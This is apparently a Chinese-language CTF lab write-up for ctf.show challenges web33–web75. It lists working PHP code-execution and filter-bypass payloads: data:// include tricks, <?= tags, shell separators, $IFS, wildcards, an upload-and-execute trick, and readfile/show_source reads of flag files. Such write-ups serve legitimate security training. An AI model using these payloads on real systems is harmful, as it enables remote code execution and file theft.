web33
屏蔽的参数有点多,采用文件包含。先让他多获取一个参数 a 并且执行就要用到include但是要加空格,空格被屏蔽了,尝试用进行转码有%0A是空格就有include%0A$_GET[a]这就是获取参数,下面就是构造文件了,这里哟啊用到php伪协议,使用data://进行执行 data://text/plain,<?php system('ls');?>后发现有两文件,使用tac进行读取。完结
web35
代码:
发现没有屏蔽掉include所以可以继续使用上面的方法进行文件包含
/?c=include%0A$_GET[a]?>&a=data://text/plain,<?php system('tac f*');?>
web36
代码:
同理没有屏蔽include,直接写入代码获取flag
web37
代码:
发现只有flag被屏蔽了,但是多了个include进行文件包含,分析代码跟前面我们构造的代码几乎一样
前面的代码:
/?c=include%0A$_GET[a]?>&a=data://text/plain,<?php system('tac f*');?>
写入文件是这样的
c - include $GET[a]
a 文件是这样的:<?php system('tac f*');?>
现在的代码是直接获取相当与不用构造include函数,直接传data构造文件就能执行
所以代码:
/?c=data://text/plain,<?php system('tac fl*');?>
web38:
代码:
过滤了php,所以<?php system('、ls');?> 就不能使用了,但是可以用<?=函数来进行代替<?php
所以<?= system('ls');?>就可以执行
web39
代码:
看到include后面加了给.php,先来看一下include是怎么运行的,传入的参数
/?c=data://text/plain,<?php system('ls');?>
会与后面的。PHP结合变成
<?php system('ls');?>.php
这样就执行不了,但是我们在
/?c=data://text/plain,<?php system('ls');?>后面加上注释//
变成
/?c=data://text/plain,<?php system('ls');?>//
就会结合成
<?php system('ls');?>//.php
就能运行了
web40:
代码:
一看几乎把特殊字符全部屏蔽了,直接大g。仔细观察发现他的括号是中文的,就可以在上面做文章。就要用到函数进行查看了,但是php函数太多,用大佬们wp中的函数.。
先一步一步来,看函数是干什么用的。这里先使用print看一下能不能打印发现可以。
先查看localeconv函数是个什么用的
localeconv():
发现是一个array,不好进行调试,换一个查看函数,
print_r():
结果是这样的:
第一个是一个.,网络检查发现服务器是一个linux的,linux的文件代表
当前目录下,所以我们需要返回.个体读取文件的函数还要获取当前目录下的文件就要用到pos返回第一个元素,用scandir查看当前目录
放到靶场里面是这样的:
发现有flag在第3个,也就是倒数第二个要把数组倒过来后使用next进行读取flag,倒置数组函数:array_reverse();
发现现在锁定了flag这个文件,人后就是文件的查看,有这几个函数,一个一个试发现
最后一个可以读取
web41
这题要会写爬虫代码
把过滤的字符屏蔽掉,然后用没有被屏蔽的字符进行字符串构造就出来了
web42
被重定向了,但是有2>&1这个在php里面是错误重定向。就是不管是正确还是错误都会输出到文件里。我们让他直接错误.加一个;像这样ls(你想要执行的命令);随便一个命令。就能出结果
web43
和43差不多,但是发现;被过滤了。改用其他符号。看来大佬的wp发现||也能有分隔的作用。用||代替;九年出结果
web44:
和43差不多,但是过滤了flag,可以使用正则匹配进行查看,像这样f*进行读取
web45
过滤了 ,tac不能进行查看了,尝试用url编码发现。不能注入。换一个方法,用tab也能执行,使用tab的url编码进行注入发现可以,获取flag
web46
发现*被过滤了用单引号尝试进行注入,发现可以,直接获取flag
web47
没有屏蔽tab和||就能继续使用上一题的做法继续进行
web48
把单引号过滤了,换成双引号得出flag
web49
发现他把%过滤了但是好像是,没起到作用,因为你拿上一题的代码跑也能跑出来
web50
09也被过滤了,所以说不能用空格或者tab进行分隔但是我们可以换一个,提示里面有一个<继续,尝试使用<代替tab,发现成功,获得flag
web51
发现把tac过滤了。用''把tac分隔获取flag
web52
发现<也被过滤了网上搜一下,看一下有没有代替空格的
这里发现,大部分都被过滤了,使用IFS试试。看一下IFS使用
带进去就能读取flag,但是在当前目录的flag是假的,要到更目录下的才是真的
web53:
没有把iFS过滤,可以直接获取flag
web54:
发现ls没有被禁用先ls查看一波。发现flag.
但是看他把大部分都屏蔽了, .*表示匹配前面的所有字符,所以像c\at什么的都不能用了,只要有cat都被屏蔽了,所以我们可以换一个,cat不行就c?t让他给我们自己猜。
web55;
忘记写了,有时间在补回来
web56
代码:
一看无从下手,字母数字全都被屏蔽了,字符也过滤了。
看了一下大佬的wp,要用到.。上网搜了一下
既然可以执行文件,那么接下来就是上传文件上去。这里要用到html进行上传
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://49cef757-11fa-4a19-9202-1375911b591b.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
还要一个php文件,里面是你要执行的sh命令
我是这样的
#!/bin/sh
ls
使用bp抓包,发现上传上去被重定向到题目界面,就需要构造语句进行调用刚刚上擦胡那个上传的文件。因为字符全部都被屏蔽了所以只能用通配符来进行执行,像这样
.%20/???/????????
.后面需要加空格,就行url编码是%20后面就是文件所在的路径 我建议是*全匹配,不伤头
web57
代码:
他说在36.php,system里面都直接是查看了,那我们就只需要构造36这个数字就完了
但是发现好多词都被屏蔽了,看一眼提示
看到好多字符,眼睛都花了
结果这题没想明白,g
web58
代码:
一看eval我就这把直接system直接读取了,后来发现他报错说被禁用了。就只能不断尝试flag一般在flag.php里面,就尝试构造文件进行读取网上查了查看文件的方式有这几种
构造一下语句
c=file_get_contents("flag.php");
发现空白,打开网页源代码也是空白就换下一个
c=readfile("flag.php");
这个虽然是空白但是网页源代码里面有flag进行提交
web59:
尝试用上一题的payload
发现被禁用了刚才查出来的还有一个,用那个进行构造,flag就出来的
web60:
代码:
用上一题的也被禁用了,重新去网上搜
最后一个一个试发现 ,出来最后一个其他全都不能用
web61:
没有把上一题的函数禁用直接获取flag
web62:
没禁用直接上一题的payload获取flag
web63:
payload:c=show_source("flag.php");
web64:
payload:c=show_source("flag.php");
web65:
payload:c=show_source("flag.php");
web66:
上难度了,这要用到我们前面用到的函数
scandir("/");
这个是返回目录文件的函数,通常是.,..,文件名可以代替ls
发现flag.php,进去他说没有在这里
切换到根目录看一下
发现有一个flag.txt文件查看一下发现是flag
web67:
发现print_r被禁用了,网上搜一下
就只有最后一个不怎么见过试试,发现可以。
直接读取获取flag
web69:
一直进不去index主界面,用scandir看一下
有看一眼根目录
发现有flag.txt,尝试进行读取获取flag
payload:c=include("/flag.txt");
web70
还是进不去主界面,先看一下有什么
发现根界面有一个flag.txt,尝试进行读取
web71:
发现有附件查看附件,进行审计
先尝试查看一下文件
相当于我们就到eval就想要他结束,这就要用到exit函数
查看根目录
尝试读取
获取flag
web72:
要用到一个代码,暂时不会
web73:
用提示的代码,放到bp里面跑
payload:c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} exit(0);
?>发现有回显用include进行读取
payload:c=?><?php
include("/flagc.txt");exit(0);
?>
web74:
和上一题一样的做法
web75:
include被限制了,没想到办法绕过,不会